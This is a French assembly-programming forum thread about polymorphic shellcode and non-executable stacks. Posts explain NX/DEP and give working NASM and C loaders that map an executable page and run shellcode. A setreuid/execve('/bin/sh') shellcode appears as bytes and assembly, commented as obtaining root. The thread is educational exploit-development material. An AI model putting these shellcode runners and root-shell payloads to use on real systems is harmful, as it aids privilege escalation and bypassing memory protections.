IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

x86 32-bits / 64-bits Assembleur Discussion :

Polymorphisme et pile non exécutable


Sujet :

x86 32-bits / 64-bits Assembleur

Vue hybride

Message précédent Message précédent   Message suivant Message suivant
  1. #1
    Membre averti
    Profil pro
    Inscrit en
    Septembre 2009
    Messages
    16
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Septembre 2009
    Messages : 16
    Par défaut Polymorphisme et pile non exécutable
    Bonjour à tous. J'ai commencé récemment à "developper" en assembleur (entendez par là : essayer de comprendre le fonctionnement intime des programmes), mais je reste bloqué sur une notion en particulier : le polymorphisme.

    Comme tout le monde, pour commencer les interruptions système, j'ai rédigé un shellcode, et j'aimerai le rendre polymorphe (un simple cryptage des instructions en Xor, puis rédiger un module de décryptage). Cependant, dans tous les tutos que j'ai lu jusqu'a maintenant, il est expliqué qu'il faut empiler les instructions décodées, puis faire sauter EIP sur la première instruction décryptée, en d'autre termes, faire sauter EIP sur la pile. Cependant, chez moi, cela cause une "Illegal instruction".

    J'ai lu quelque part que désormais, la pile n'est plus exécutable. Cela expliquerait mon problème, mais existe t'il d'autres manières de créer un code polymorphe ? Peut on, sinon, modifier le segment de code pour ajouter les inscriptions décodées ?

    Je suppose que je me pose des questions stupides, mais je n'arrive pas à comprendre ce point. Merci d'avance pour votre aide.

    Sat.

  2. #2
    Rédacteur
    Avatar de Neitsa
    Homme Profil pro
    Chercheur sécurité informatique
    Inscrit en
    Octobre 2003
    Messages
    1 041
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France

    Informations professionnelles :
    Activité : Chercheur sécurité informatique

    Informations forums :
    Inscription : Octobre 2003
    Messages : 1 041
    Par défaut
    Bonjour,

    Bonjour à tous. J'ai commencé récemment à "developper" en assembleur (entendez par là : essayer de comprendre le fonctionnement intime des programmes), mais je reste bloqué sur une notion en particulier : le polymorphisme.

    Comme tout le monde, pour commencer les interruptions système, j'ai rédigé un shellcode, et j'aimerai le rendre polymorphe (un simple cryptage des instructions en Xor, puis rédiger un module de décryptage)
    Il faut faire la distinction sémantique entre code polymorphique et SMC (Self Modifying Code).

    Le code polymorphe est un code qui change à chaque fois (à chaque démarrage) mais qui reste, de manière algorithmique, le même.

    Le SMC est un code qui se déchiffre lui même, mais qui reste semblable entre chaque démarrage.

    Enfin, c'était une simple précision pour que l'on soit d'accord sur ce que tu essayes d'implémenter.

    Citation Envoyé par Sat80 Voir le message
    Cependant, dans tous les tutos que j'ai lu jusqu'a maintenant, il est expliqué qu'il faut empiler les instructions décodées, puis faire sauter EIP sur la première instruction décryptée, en d'autre termes, faire sauter EIP sur la pile
    La pile n'est pas une obligation pour exécuter du code SMC ou polymorphe. Tu peux très bien le faire sur la pile, le tas, une section donnée ou même une section de code, même s'il est vrai qu'habituellement, notamment pour les shellcodes, c'est la pile qui est le plus souvent ciblée.

    Cependant, chez moi, cela cause une "Illegal instruction". J'ai lu quelque part que désormais, la pile n'est plus exécutable. Cela expliquerait mon problème, mais existe t'il d'autres manières de créer un code polymorphe ?
    Sous tous les O.S récents, la pile est protégée via le NX bit (DEP sous Windows), justement pour éviter les exécutions en cas de BOF. C'est désactivable par processus ou pour le système entier. A voir suivant ton système.

    Peut on, sinon, modifier le segment de code pour ajouter les inscriptions décodées ?
    Par défaut, les sections de code sont exécutables et lisibles (executable & readable) mais pas en écriture (writable), ce qui est censé si on y réfléchit, pour éviter justement le code qui se modifierais lui-même par erreur (erreur d'implémentation) ou encore les codes SMC difficilement détectables pour les AV.

    Tu peux demander au linker de faire de façon à ce que ta section de code soit aussi en écriture. A voir suivant le compilo/linker utilisé.

    Ceci dit, quelques précisions sur ce que tu essayes de faire précisément (SMC, polymorphe, métamorphe, etc.) ainsi que ton système et sa version exacte seraient utile pour des réponses moins généralistes. N'hésites pas à poster un bout de code et nous dire où ça segfault le cas échéant.

    Une possibilité moins contraignante pour tes expérimentations serait d'allouer une page en lecture, écriture et exécution, faire un memcpy() de ton shellcode (déclarer en tant que tableau de char static par exemple) vers la page allouée précédemment et de rediriger le flot de code vers cette page.

  3. #3
    Membre averti
    Profil pro
    Inscrit en
    Septembre 2009
    Messages
    16
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Septembre 2009
    Messages : 16
    Par défaut
    Merci pour ta réponse. Je vais me pencher sur les différents points que tu as abordé, et je posterais un autre message si j'ai besoin d'aide.

    Merci pour ton aide. Sat

  4. #4
    Membre averti
    Profil pro
    Inscrit en
    Septembre 2009
    Messages
    16
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Septembre 2009
    Messages : 16
    Par défaut
    Rebonsoir. J'ai essayé d'allouer une partie de la mémoire (executable) mais je segfault. Pourriez vous m'éclaircir un peu s'il vous plait ? En l'occurence, j'ai créé un shellcode que je stocke sur la pile. J'utilise l'appel mmap() pour le mapper en mémoire, mais je segfault au moment du JMP edi. Je suppose que j'ai fait une erreur de débutant, mais je n'arrive pas à la corriger.

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    section .data
    SHELLCODE db 0xeb,0x22,0x66,0x5b,0x66,0x31,0xc0,0x67,0x66,0x89,0x43,0x07,0x67,0x66,0x89,0x5b,0x08,0x67,0x66,0x89,0x43,0x0c,0x67,0x66,0x8d,0x4b,0x08,0x67,0x66,0x8d,0x53,0x0c,0xb0,0x0b,0xcd,0x80,0xb0,0x46,0x66,0x31,0xdb,0x66,0x31,0xc9,0xcd,0x80,0xe8,0xd1,0xff,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68
     
    section .text
    global _start
     
    _start:
     
    	;void * mmap(void *start, size_t length, int prot , int flags, int fd, off_t offset);
    	;mmap (&shellcode,56,PROT_READ | PROT_WRITE | PROT_EXEC,MAP_ANONYMOUS,-1,0)
    	;On mappe le fichier en mémoire
    	xor	eax,	eax
    	xor	ebx,	ebx
    	xor	ecx,	ecx
    	push	eax		;On empile des octets nuls avant SHELLCODE
    	push	SHELLCODE
    	mov	esi,	esp	;Sauvegarde du pointeur ESP dans esi
     
    	push	dword	eax	;On empile des octets nuls
    	push	dword	0xff	;-1
    	push	dword	0x20	;MAP_ANONYMOUS
    	push	dword	0x07	;PROT_WRITE | PROT_EXEC | PROT_READ
    	push	dword	0x38	;On empile le nombre d'octets à mapper
    	push	dword	esi	;On empile l'adresse mémoire esi
     
    	mov	ebx,	esp	;On place le pointeur vers le premier argument dans ebx
    	mov 	al,	0x5a	;Appel mmap n°90
    	int	0x80
     
            xchg edi, eax
            xor eax, eax
    	jmp	edi		;On saute au début du buffer alloué. [SEGFAULT]

    Voici le shellcode que j'utilise, tout ce qu'il y a de plus classique:
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    jmp short alpha
     
    beta:
    	pop ebx
    	xor eax,eax
    	mov [ebx+7],eax
    	mov [ebx+8],ebx
    	mov [ebx+12],eax
     
    	lea ecx,[ebx+8]
    	lea edx,[ebx+12]
    	mov al,11
     
    	int 0x80
    alpha:
    	;Récupère le root
    	mov al,70
    	xor ebx,ebx
    	xor ecx,ecx
    	int 0x80
     
    	call beta
    	db "/bin/sh" ;
    Voila, en espérant que vous pourrez m'eclaircir sur ce sujet ! Merci d'avance pour votre aide.

    Cordialement, Sat.

  5. #5
    Rédacteur
    Avatar de Neitsa
    Homme Profil pro
    Chercheur sécurité informatique
    Inscrit en
    Octobre 2003
    Messages
    1 041
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France

    Informations professionnelles :
    Activité : Chercheur sécurité informatique

    Informations forums :
    Inscription : Octobre 2003
    Messages : 1 041
    Par défaut
    Bonjour,

    L'erreur se stiue probablement dans le premier argument de mmap() qui devrait être NULL (0). Là tu lui passes une addrsse sur la pile, du coup, mmap() échoue et ne renvoie pas un pointeur valide (NULL), donc le saut vers le shellcode échoue.

    En passant 0, dans le premier arg à mmap(), tu laisses le système te donner une page, celle qu'il veut.

    Voilà un exemple de mapping de page avec copie d'un shellcode et appel sur la page (NASM):

    Code asm : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
     
    ; mmap.asm:    map executable memory page & execute shellcode
    ; Assemble:           nasm -f elf mmap.asm
    ; Link (32-bit):      gcc -o mmap  mmap.o
    ; Link (64-bit):      gcc -m32 -o mmap mmap.o
    ; Run:                mmap
     
     
    BITS 32
     
    ; Declare some external C functions
    ;
    extern  printf
    extern  memcpy
    extern  mmap
    extern  munmap 
     
    ;
    ; data
    ;
    SECTION .data
     
    PAGE_SIZE       equ 0x1000
     
    format_page     db "[*] Mapped page: %p", 0x0a, 0
    error_message   db "[-] Error!", 0x0a, 0
     
    shellcode       db 0x90, 0x90, 0x90, 0xc3
    shellcode_len   equ $-shellcode
     
    ;
    ; code
    ;
     
    SECTION .text
     
        global main		
    main:
        push    ebp
        mov     ebp,esp
     
        push 0          ;offset
        push -1         ; fd
        push 0x22       ; flags: MAP_ANONYMOUS | MAP_PRIVATE
        push 0x7        ; prot: PROT_EXEC | PROT_READ | PROT_WRITE
        push PAGE_SIZE  ; size: (page size: 4096)
        push 0          ; let the system choose a VA
        call mmap       ; map page
        add esp, 24 ; stack cleanup
        test eax, eax; check error
        jz error
     
        ; keep track of mapped page pointer
        mov esi, eax     
     
        ; print page address
        push eax
        push format_page
        call printf
        add esp, 8    
     
        ; copy shellcode to mapped page
        push shellcode_len
        push shellcode
        push esi
        call memcpy
        add esp, 12
     
        ; call shellcode
        call esi
     
        ; unmap page
        push PAGE_SIZE
        push esi
        call munmap
        add esp, 8
        cmp eax, -1
        jz error
     
        jmp end
    error:
        push error_message
        call printf
        add esp, 4
     
    end:
        mov     esp, ebp	
        pop     ebp		
     
        mov	eax,0		
        ret

    output:
    seb@ubuntu10-desktop:~/Documents/asm$ nasm -f elf mmap.asm
    seb@ubuntu10-desktop:~/Documents/asm$ gcc -m32 -o mmap mmap.o
    seb@ubuntu10-desktop:~/Documents/asm$ ./mmap [*] Mapped page: 0xf76ef000
    seb@ubuntu10-desktop:~/Documents/asm$ ltrace ./mmap
    __libc_start_main(0x8048490, 1, 0xffb90244, 0x8048540, 0x8048530 <unfinished ...>
    mmap(0, 4096, 7, 34, -1) = 0xf7752000
    printf("[*] Mapped page: %p\n", 0xf7752000[*] Mapped page: 0xf7752000
    ) = 28
    memcpy(0xf7752000, "\220\220\220\303", 4) = 0xf7752000
    munmap(0xf7752000, 4096, 0xffb90218, 0xf75f7bd6, 1) = 0
    +++ exited (status 0) +++
    seb@ubuntu10-desktop:~/Documents/asm$
    Le "shellcode" ne fait rien (3 NOP et un RET) mais l'idée est là, tu peux remplacer avec ce que tu veux. Dans le cas d'un shellcode courant comme execve(), n'oublie pas que le système ne rend pas la main au programme appelant.

    Au départ j'étais partit pour le faire en C, je post le code au cas où:

    Code C : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
     
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/mman.h>
    #include <unistd.h>
     
    static unsigned char test_nop[] = "\x90\x90\x90\xC3";
    /*execve bin/sh */
    static unsigned char test_execve[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80\xc3";
     
    int main(void)
    {
    	void* pMap = NULL;
    	int PageSize = 0;
    	int ret;
    	char* pCharMap = NULL;
     
    	PageSize = getpagesize();
    	printf("[*] System Page size is: 0x%08X\n", PageSize);
     
    	printf("[*] Trying to map exec page\n");
    	pMap = mmap(NULL, PageSize, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    	if(pMap == MAP_FAILED)
    	{
    		printf("[-] Error: could'nt map memory page.\n");
    		return -1;
    	}
     
    	printf("[+] Successfuly mapped memory page: %p\n", pMap);
     
    	/* trying to write shellcode on mapped page */
    	pCharMap = pMap;
    	memcpy(pCharMap, test_execve, sizeof(test_execve));
     
    	/* creating a function pointer */
    	void (*func)();
    	func = (void (*)()) pMap;
     
    	/* call directly onto memory page */
    	printf("[*] Calling mapped page.\n");
    	(void)(*func)();
     
    	/* unmap the page */
    	ret = munmap(pMap, PageSize);
    	if(ret == -1)
    	{
    		printf("[-] Error: couldn't unmap the memory page.\n");
    		return -1;
    	}
     
    	printf("[+] Successfuly unmapped the memory page.\n");	
     
    	pMap = NULL;
    	pCharMap = NULL;
     
    	return 0;
    }

  6. #6
    Membre averti
    Profil pro
    Inscrit en
    Septembre 2009
    Messages
    16
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Septembre 2009
    Messages : 16
    Par défaut
    Merci beaucoup. Je me pencherais sur tes codes demain. Merci pour ton aide.

    Sat

+ Répondre à la discussion
Cette discussion est résolue.

Discussions similaires

  1. Non exécution d'une méthode repaint()
    Par Flophx dans le forum AWT/Swing
    Réponses: 7
    Dernier message: 05/05/2006, 18h04
  2. Pile d'exécution
    Par GLDavid dans le forum Algorithmes et structures de données
    Réponses: 5
    Dernier message: 05/05/2006, 12h58
  3. [MySQL] Requête non exécutée
    Par harlock59 dans le forum PHP & Base de données
    Réponses: 6
    Dernier message: 03/05/2006, 15h42
  4. On error goto Err : goto non exécutée au 2ème appel
    Par charliejo dans le forum Access
    Réponses: 1
    Dernier message: 11/04/2006, 15h00
  5. INCLUDE non exécuté
    Par Sadneth dans le forum ASP
    Réponses: 3
    Dernier message: 07/09/2003, 00h44

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo